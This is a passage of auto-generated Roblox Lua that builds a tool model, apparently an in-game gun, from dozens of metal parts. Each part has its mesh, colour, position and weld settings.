- Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part403.Position = Vector3.new(144.286911, 3.52544999, 144.39093)
- Part403.Orientation = Vector3.new(90, -90, 0)
- Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh404.Parent = Part403
- BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- ManualWeld405.Name = "Part-to-Handle Strong Joint"
- ManualWeld405.Parent = Part403
- ManualWeld405.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld405.C1 = CFrame.new(-0.100006104, -0.240013361, -0.100036621, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
- ManualWeld405.Part0 = Part403
- ManualWeld405.Part1 = Part30
- Part406.Parent = Tool0
- Part406.Material = Enum.Material.Metal
- Part406.BrickColor = BrickColor.new("Black")
- Part406.Rotation = Vector3.new(90, 0, 90)
- Part406.Anchored = true
- Part406.FormFactor = Enum.FormFactor.Custom
- Part406.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part406.CFrame = CFrame.new(143.782944, 3.52990699, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part406.BottomSurface = Enum.SurfaceType.Smooth
- Part406.TopSurface = Enum.SurfaceType.Smooth
- Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part406.Position = Vector3.new(143.782944, 3.52990699, 144.340927)
- Part406.Orientation = Vector3.new(90, -90, 0)
- Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh407.Parent = Part406
- BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
- BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
- Part408.Parent = Tool0
- Part408.Material = Enum.Material.Metal
- Part408.BrickColor = BrickColor.new("Dark stone grey")
- Part408.Rotation = Vector3.new(90, 0, 90)
- Part408.Anchored = true
- Part408.FormFactor = Enum.FormFactor.Custom
- Part408.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part408.CFrame = CFrame.new(143.766266, 3.54324698, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part408.BottomSurface = Enum.SurfaceType.Smooth
- Part408.TopSurface = Enum.SurfaceType.Smooth
- Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part408.Position = Vector3.new(143.766266, 3.54324698, 144.39093)
- Part408.Orientation = Vector3.new(90, -90, 0)
- Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh409.Parent = Part408
- BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
- BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
- Part410.Parent = Tool0
- Part410.Material = Enum.Material.Metal
- Part410.BrickColor = BrickColor.new("Dark stone grey")
- Part410.Rotation = Vector3.new(90, 0, -180)
- Part410.Anchored = true
- Part410.FormFactor = Enum.FormFactor.Custom
- Part410.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part410.CFrame = CFrame.new(143.802933, 3.25991702, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part410.BottomSurface = Enum.SurfaceType.Smooth
- Part410.TopSurface = Enum.SurfaceType.Smooth
- Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part410.Position = Vector3.new(143.802933, 3.25991702, 144.320938)
- Part410.Orientation = Vector3.new(90, 180, 0)
- Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh411.Parent = Part410
- CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part412.Parent = Tool0
- Part412.Material = Enum.Material.Metal
- Part412.BrickColor = BrickColor.new("Dark stone grey")
- Part412.Rotation = Vector3.new(90, 0, -180)
- Part412.Anchored = true
- Part412.FormFactor = Enum.FormFactor.Custom
- Part412.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part412.CFrame = CFrame.new(143.222946, 4.0665741, 144.360931, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part412.BottomSurface = Enum.SurfaceType.Smooth
- Part412.TopSurface = Enum.SurfaceType.Smooth
- Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part412.Position = Vector3.new(143.222946, 4.0665741, 144.360931)
- Part412.Orientation = Vector3.new(90, 180, 0)
- Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh413.Parent = Part412
- BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
- BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
- Part414.Parent = Tool0
- Part414.Material = Enum.Material.Metal
- Part414.BrickColor = BrickColor.new("Black")
- Part414.Rotation = Vector3.new(-90, 0, 90)
- Part414.Anchored = true
- Part414.FormFactor = Enum.FormFactor.Symmetric
- Part414.Size = Vector3.new(1, 1, 1)
- Part414.CFrame = CFrame.new(143.886276, 3.44324899, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part414.BottomSurface = Enum.SurfaceType.Smooth
- Part414.TopSurface = Enum.SurfaceType.Smooth
- Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part414.Position = Vector3.new(143.886276, 3.44324899, 144.39093)
- Part414.Orientation = Vector3.new(-90, 90, 0)
- Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh415.Parent = Part414
- BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
- BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
- Part416.Parent = Tool0
- Part416.Material = Enum.Material.Metal
- Part416.BrickColor = BrickColor.new("Black")
- Part416.Rotation = Vector3.new(-90, 0, 90)
- Part416.Anchored = true
- Part416.FormFactor = Enum.FormFactor.Custom
- Part416.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part416.CFrame = CFrame.new(143.726273, 3.676579, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part416.BottomSurface = Enum.SurfaceType.Smooth
- Part416.TopSurface = Enum.SurfaceType.Smooth
- Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part416.Position = Vector3.new(143.726273, 3.676579, 144.39093)
- Part416.Orientation = Vector3.new(-90, 90, 0)
- Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh417.Parent = Part416
- SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
- SpecialMesh417.MeshType = Enum.MeshType.Wedge
- SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
- Part418.Parent = Tool0
- Part418.Material = Enum.Material.Metal
- Part418.BrickColor = BrickColor.new("Dark stone grey")
- Part418.Rotation = Vector3.new(90, 0, -180)
- Part418.Anchored = true
- Part418.FormFactor = Enum.FormFactor.Custom
- Part418.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part418.CFrame = CFrame.new(143.282944, 4.02990818, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part418.BottomSurface = Enum.SurfaceType.Smooth
- Part418.TopSurface = Enum.SurfaceType.Smooth
- Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part418.Position = Vector3.new(143.282944, 4.02990818, 144.444275)
- Part418.Orientation = Vector3.new(90, 180, 0)
- Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh419.Parent = Part418
- CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- Part420.Name = "AimPart"
- Part420.Parent = Tool0
- Part420.Material = Enum.Material.Metal
- Part420.BrickColor = BrickColor.new("Dark stone grey")
- Part420.Transparency = 50
- Part420.Rotation = Vector3.new(0, -90, 0)
- Part420.Anchored = true
- Part420.FormFactor = Enum.FormFactor.Custom
- Part420.Size = Vector3.new(0.200000048, 0.200000048, 1.20000005)
- Part420.CFrame = CFrame.new(142.722946, 4.09990311, 144.39093, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part420.BottomSurface = Enum.SurfaceType.Smooth
- Part420.TopSurface = Enum.SurfaceType.Smooth
- Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part420.Position = Vector3.new(142.722946, 4.09990311, 144.39093)
- Part420.Orientation = Vector3.new(0, -90, 0)
- Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh421.Parent = Part420
- BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
- BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
- Part422.Parent = Tool0
- Part422.Material = Enum.Material.Metal
- Part422.BrickColor = BrickColor.new("Black")
- Part422.Rotation = Vector3.new(-90, 0, 90)
- Part422.Anchored = true
- Part422.FormFactor = Enum.FormFactor.Custom
- Part422.Size = Vector3.new(0.213333324, 0.600000024, 0.200000003)
- Part422.CFrame = CFrame.new(143.986267, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part422.BottomSurface = Enum.SurfaceType.Smooth
- Part422.TopSurface = Enum.SurfaceType.Smooth
- Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part422.Position = Vector3.new(143.986267, 3.76324797, 144.39093)
- Part422.Orientation = Vector3.new(-90, 90, 0)
- Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh423.Parent = Part422
- BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
- BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
- Part424.Parent = Tool0
- Part424.Material = Enum.Material.Metal
- Part424.BrickColor = BrickColor.new("Dark stone grey")
- Part424.Rotation = Vector3.new(-90, 0, -180)
- Part424.Anchored = true
- Part424.FormFactor = Enum.FormFactor.Custom
- Part424.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part424.CFrame = CFrame.new(143.782944, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part424.BottomSurface = Enum.SurfaceType.Smooth
- Part424.TopSurface = Enum.SurfaceType.Smooth
- Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part424.Position = Vector3.new(143.782944, 3.76324797, 144.28093)
- Part424.Orientation = Vector3.new(-90, -180, 0)
- Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh425.Parent = Part424
- CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- Part426.Parent = Tool0
- Part426.Material = Enum.Material.Metal
- Part426.BrickColor = BrickColor.new("Dark stone grey")
- Part426.Rotation = Vector3.new(90, 0, -180)
- Part426.Anchored = true
- Part426.FormFactor = Enum.FormFactor.Custom
- Part426.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part426.CFrame = CFrame.new(143.206268, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part426.BottomSurface = Enum.SurfaceType.Smooth
- Part426.TopSurface = Enum.SurfaceType.Smooth
- Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part426.Position = Vector3.new(143.206268, 4.00991011, 144.444275)
- Part426.Orientation = Vector3.new(90, 180, 0)
- Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh427.Parent = Part426
- BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
- BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
- Part428.Parent = Tool0
- Part428.Material = Enum.Material.Metal
- Part428.BrickColor = BrickColor.new("Black")
- Part428.Rotation = Vector3.new(-90, 0, 90)
- Part428.Anchored = true
- Part428.FormFactor = Enum.FormFactor.Custom
- Part428.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part428.CFrame = CFrame.new(143.772934, 3.61992002, 144.440933, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part428.BottomSurface = Enum.SurfaceType.Smooth
- Part428.TopSurface = Enum.SurfaceType.Smooth
- Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part428.Position = Vector3.new(143.772934, 3.61992002, 144.440933)
- Part428.Orientation = Vector3.new(-90, 90, 0)
- Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh429.Parent = Part428
- SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
- SpecialMesh429.MeshType = Enum.MeshType.Wedge
- SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
- Part430.Parent = Tool0
- Part430.Material = Enum.Material.Metal
- Part430.BrickColor = BrickColor.new("Dark stone grey")
- Part430.Rotation = Vector3.new(90, 0, 0)
- Part430.Anchored = true
- Part430.FormFactor = Enum.FormFactor.Custom
- Part430.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part430.CFrame = CFrame.new(143.782944, 3.61325002, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
- Part430.BottomSurface = Enum.SurfaceType.Smooth
- Part430.TopSurface = Enum.SurfaceType.Smooth
- Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part430.Position = Vector3.new(143.782944, 3.61325002, 144.39093)
- Part430.Orientation = Vector3.new(90, 0, 0)
- Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh431.Parent = Part430
- CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
- CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
- Part432.Parent = Tool0
- Part432.Material = Enum.Material.Metal
- Part432.BrickColor = BrickColor.new("Black")
- Part432.Rotation = Vector3.new(-150, 0, 90)
- Part432.Anchored = true
- Part432.FormFactor = Enum.FormFactor.Custom
- Part432.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part432.CFrame = CFrame.new(143.616272, 3.74056697, 144.331009, -7.11698249e-07, -1.00000358, -1.53289113e-06, -0.866010129, -1.49011612e-07, 0.500037193, -0.500040531, 1.68383121e-06, -0.866008461)
- Part432.BottomSurface = Enum.SurfaceType.Smooth
- Part432.TopSurface = Enum.SurfaceType.Smooth
- Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part432.Position = Vector3.new(143.616272, 3.74056697, 144.331009)
- Part432.Orientation = Vector3.new(-30, -180, -90)
- Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh433.Parent = Part432
- BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
- BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
- Part434.Parent = Tool0
- Part434.Material = Enum.Material.Metal
- Part434.BrickColor = BrickColor.new("Black")
- Part434.Rotation = Vector3.new(150.009995, 0, 90)
- Part434.Anchored = true
- Part434.FormFactor = Enum.FormFactor.Custom
- Part434.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part434.CFrame = CFrame.new(143.612946, 3.73776293, 144.382095, 2.19427147e-06, -1, -2.86016348e-06, -0.866099715, -4.70744311e-07, -0.499871284, 0.499871284, 3.57403997e-06, -0.866099715)
- Part434.BottomSurface = Enum.SurfaceType.Smooth
- Part434.TopSurface = Enum.SurfaceType.Smooth
- Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part434.Position = Vector3.new(143.612946, 3.73776293, 144.382095)
- Part434.Orientation = Vector3.new(29.9899998, -180, -90)
- Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh435.Parent = Part434
- BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
- BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
- Part436.Parent = Tool0
- Part436.Material = Enum.Material.Metal
- Part436.BrickColor = BrickColor.new("Dark stone grey")
- Part436.Rotation = Vector3.new(90, 0, -180)
- Part436.Anchored = true
- Part436.FormFactor = Enum.FormFactor.Custom
- Part436.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part436.CFrame = CFrame.new(143.229599, 4.03324604, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part436.BottomSurface = Enum.SurfaceType.Smooth
- Part436.TopSurface = Enum.SurfaceType.Smooth
- Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part436.Position = Vector3.new(143.229599, 4.03324604, 144.434265)
- Part436.Orientation = Vector3.new(90, 180, 0)
- Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh437.Parent = Part436
- CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- Part438.Parent = Tool0
- Part438.Material = Enum.Material.Metal
- Part438.BrickColor = BrickColor.new("Dark stone grey")
- Part438.Rotation = Vector3.new(90, 0, -180)
- Part438.Anchored = true
- Part438.FormFactor = Enum.FormFactor.Custom
- Part438.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part438.CFrame = CFrame.new(143.162933, 4.03324223, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part438.BottomSurface = Enum.SurfaceType.Smooth
- Part438.TopSurface = Enum.SurfaceType.Smooth
- Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part438.Position = Vector3.new(143.162933, 4.03324223, 144.347595)
- Part438.Orientation = Vector3.new(90, 180, 0)
- Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh439.Parent = Part438
- CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- Part440.Parent = Tool0
- Part440.Material = Enum.Material.Metal
- Part440.BrickColor = BrickColor.new("Black")
- Part440.Rotation = Vector3.new(-120, 0, 90)
- Part440.Anchored = true
- Part440.FormFactor = Enum.FormFactor.Custom
- Part440.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part440.CFrame = CFrame.new(143.626266, 3.77325511, 144.297607, 0, -1, 0, -0.49998197, 1.49011612e-08, 0.866036296, -0.866036117, -0, -0.49998188)
- Part440.BottomSurface = Enum.SurfaceType.Smooth
- Part440.TopSurface = Enum.SurfaceType.Smooth
- Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part440.Position = Vector3.new(143.626266, 3.77325511, 144.297607)
- Part440.Orientation = Vector3.new(-60, 180, -90)
- Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh441.Parent = Part440
- BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
- BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
- Part442.Parent = Tool0
- Part442.Material = Enum.Material.Metal
- Part442.BrickColor = BrickColor.new("Black")
- Part442.Rotation = Vector3.new(-164.98999, 0, 90)
- Part442.Anchored = true
- Part442.FormFactor = Enum.FormFactor.Custom
- Part442.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part442.CFrame = CFrame.new(143.612946, 3.73178697, 144.35289, 5.29132478e-07, -1.00000393, -3.57406816e-06, -0.965899885, -1.43652471e-06, 0.25893423, -0.258931458, 3.31517049e-06, -0.965902984)
- Part442.BottomSurface = Enum.SurfaceType.Smooth
- Part442.TopSurface = Enum.SurfaceType.Smooth
- Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part442.Position = Vector3.new(143.612946, 3.73178697, 144.35289)
- Part442.Orientation = Vector3.new(-15.0099993, -180, -90)
- Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh443.Parent = Part442
- BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
- BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
- Part444.Parent = Tool0
- Part444.Material = Enum.Material.Metal
- Part444.BrickColor = BrickColor.new("Black")
- Part444.Rotation = Vector3.new(-90, 0, 90)
- Part444.Anchored = true
- Part444.FormFactor = Enum.FormFactor.Custom
- Part444.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
- Part444.CFrame = CFrame.new(144.67627, 3.76324797, 144.344284, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part444.BottomSurface = Enum.SurfaceType.Smooth
- Part444.TopSurface = Enum.SurfaceType.Smooth
- Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part444.Position = Vector3.new(144.67627, 3.76324797, 144.344284)
- Part444.Orientation = Vector3.new(-90, 90, 0)
- Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh445.Parent = Part444
- CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
- CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
- Part446.Parent = Tool0
- Part446.Material = Enum.Material.Metal
- Part446.Rotation = Vector3.new(90, 0, -180)
- Part446.Anchored = true
- Part446.FormFactor = Enum.FormFactor.Custom
- Part446.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part446.CFrame = CFrame.new(143.222931, 4.05324411, 144.31427, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part446.BottomSurface = Enum.SurfaceType.Smooth
- Part446.TopSurface = Enum.SurfaceType.Smooth
- Part446.Position = Vector3.new(143.222931, 4.05324411, 144.31427)
- Part446.Orientation = Vector3.new(90, 180, 0)
- CylinderMesh447.Parent = Part446
- CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part448.Parent = Tool0
- Part448.Material = Enum.Material.Metal
- Part448.BrickColor = BrickColor.new("Dark stone grey")
- Part448.Rotation = Vector3.new(90, 0, -90)
- Part448.Anchored = true
- Part448.FormFactor = Enum.FormFactor.Custom
- Part448.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part448.CFrame = CFrame.new(144.016266, 3.08324695, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part448.BottomSurface = Enum.SurfaceType.Smooth
- Part448.TopSurface = Enum.SurfaceType.Smooth
- Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part448.Position = Vector3.new(144.016266, 3.08324695, 144.39093)
- Part448.Orientation = Vector3.new(90, 90, 0)
- Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh449.Parent = Part448
- SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
- SpecialMesh449.MeshType = Enum.MeshType.Wedge
- SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
- Part450.Parent = Tool0
- Part450.Material = Enum.Material.Metal
- Part450.BrickColor = BrickColor.new("Dark stone grey")
- Part450.Rotation = Vector3.new(0, 90, 0)
- Part450.Anchored = true
- Part450.FormFactor = Enum.FormFactor.Custom
- Part450.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part450.CFrame = CFrame.new(144.182938, 3.47324896, 144.39093, 0, -6.29872084e-05, 1.00000024, 0, 1.00000024, 6.29872084e-05, -1, -0, 0)
- Part450.BottomSurface = Enum.SurfaceType.Smooth
- Part450.TopSurface = Enum.SurfaceType.Smooth
- Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part450.Position = Vector3.new(144.182938, 3.47324896, 144.39093)
- Part450.Orientation = Vector3.new(0, 90, 0)
- Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh451.Parent = Part450
- BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
- BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
- ManualWeld452.Name = "Part-to-Handle Strong Joint"
- ManualWeld452.Parent = Part450
- ManualWeld452.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld452.C1 = CFrame.new(0.100006104, -0.092189312, -0.196029663, 1, 0, 0, 0, 0.000125899925, 1.00000024, 0, -1.00000024, 0.000125899925)
- ManualWeld452.Part0 = Part450
- ManualWeld452.Part1 = Part30
- Part453.Parent = Tool0
- Part453.Material = Enum.Material.Metal
- Part453.BrickColor = BrickColor.new("Dark stone grey")
- Part453.Rotation = Vector3.new(-90, -15.0099993, 0)
- Part453.Anchored = true
- Part453.FormFactor = Enum.FormFactor.Custom
- Part453.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part453.CFrame = CFrame.new(143.102783, 3.81143498, 144.284271, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
- Part453.BottomSurface = Enum.SurfaceType.Smooth
- Part453.TopSurface = Enum.SurfaceType.Smooth
- Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part453.Position = Vector3.new(143.102783, 3.81143498, 144.284271)
- Part453.Orientation = Vector3.new(-74.9899979, -90, 90)
- Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh454.Parent = Part453
- CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- Part455.Parent = Tool0
- Part455.Material = Enum.Material.Metal
- Part455.BrickColor = BrickColor.new("Dark stone grey")
- Part455.Rotation = Vector3.new(90, 0, -180)
- Part455.Anchored = true
- Part455.FormFactor = Enum.FormFactor.Custom
- Part455.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part455.CFrame = CFrame.new(144.969604, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part455.BottomSurface = Enum.SurfaceType.Smooth
- Part455.TopSurface = Enum.SurfaceType.Smooth
- Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part455.Position = Vector3.new(144.969604, 4.01991081, 144.337601)
- Part455.Orientation = Vector3.new(90, 180, 0)
- Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh456.Parent = Part455
- CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- Part457.Parent = Tool0
- Part457.Material = Enum.Material.Metal
- Part457.BrickColor = BrickColor.new("Black")
- Part457.Rotation = Vector3.new(-90, 0, 90)
- Part457.Anchored = true
- Part457.FormFactor = Enum.FormFactor.Custom
- Part457.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part457.CFrame = CFrame.new(143.772934, 3.67658401, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part457.BottomSurface = Enum.SurfaceType.Smooth
- Part457.TopSurface = Enum.SurfaceType.Smooth
- Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part457.Position = Vector3.new(143.772934, 3.67658401, 144.39093)
- Part457.Orientation = Vector3.new(-90, 90, 0)
- Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh458.Parent = Part457
- BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
- BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
- Part459.Parent = Tool0
- Part459.Material = Enum.Material.Metal
- Part459.BrickColor = BrickColor.new("Dark stone grey")
- Part459.Rotation = Vector3.new(90, 0, -180)
- Part459.Anchored = true
- Part459.FormFactor = Enum.FormFactor.Custom
- Part459.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part459.CFrame = CFrame.new(143.239609, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part459.BottomSurface = Enum.SurfaceType.Smooth
- Part459.TopSurface = Enum.SurfaceType.Smooth
- Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part459.Position = Vector3.new(143.239609, 4.01657677, 144.434265)
- Part459.Orientation = Vector3.new(90, 180, 0)
- Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh460.Parent = Part459
- BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
- BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
- Part461.Parent = Tool0
- Part461.Material = Enum.Material.Metal
- Part461.BrickColor = BrickColor.new("Dark stone grey")
- Part461.Rotation = Vector3.new(90, 0, -180)
- Part461.Anchored = true
- Part461.FormFactor = Enum.FormFactor.Custom
- Part461.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part461.CFrame = CFrame.new(143.282944, 4.02990818, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part461.BottomSurface = Enum.SurfaceType.Smooth
- Part461.TopSurface = Enum.SurfaceType.Smooth
- Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part461.Position = Vector3.new(143.282944, 4.02990818, 144.337601)
- Part461.Orientation = Vector3.new(90, 180, 0)
- Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh462.Parent = Part461
- CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- Part463.Parent = Tool0
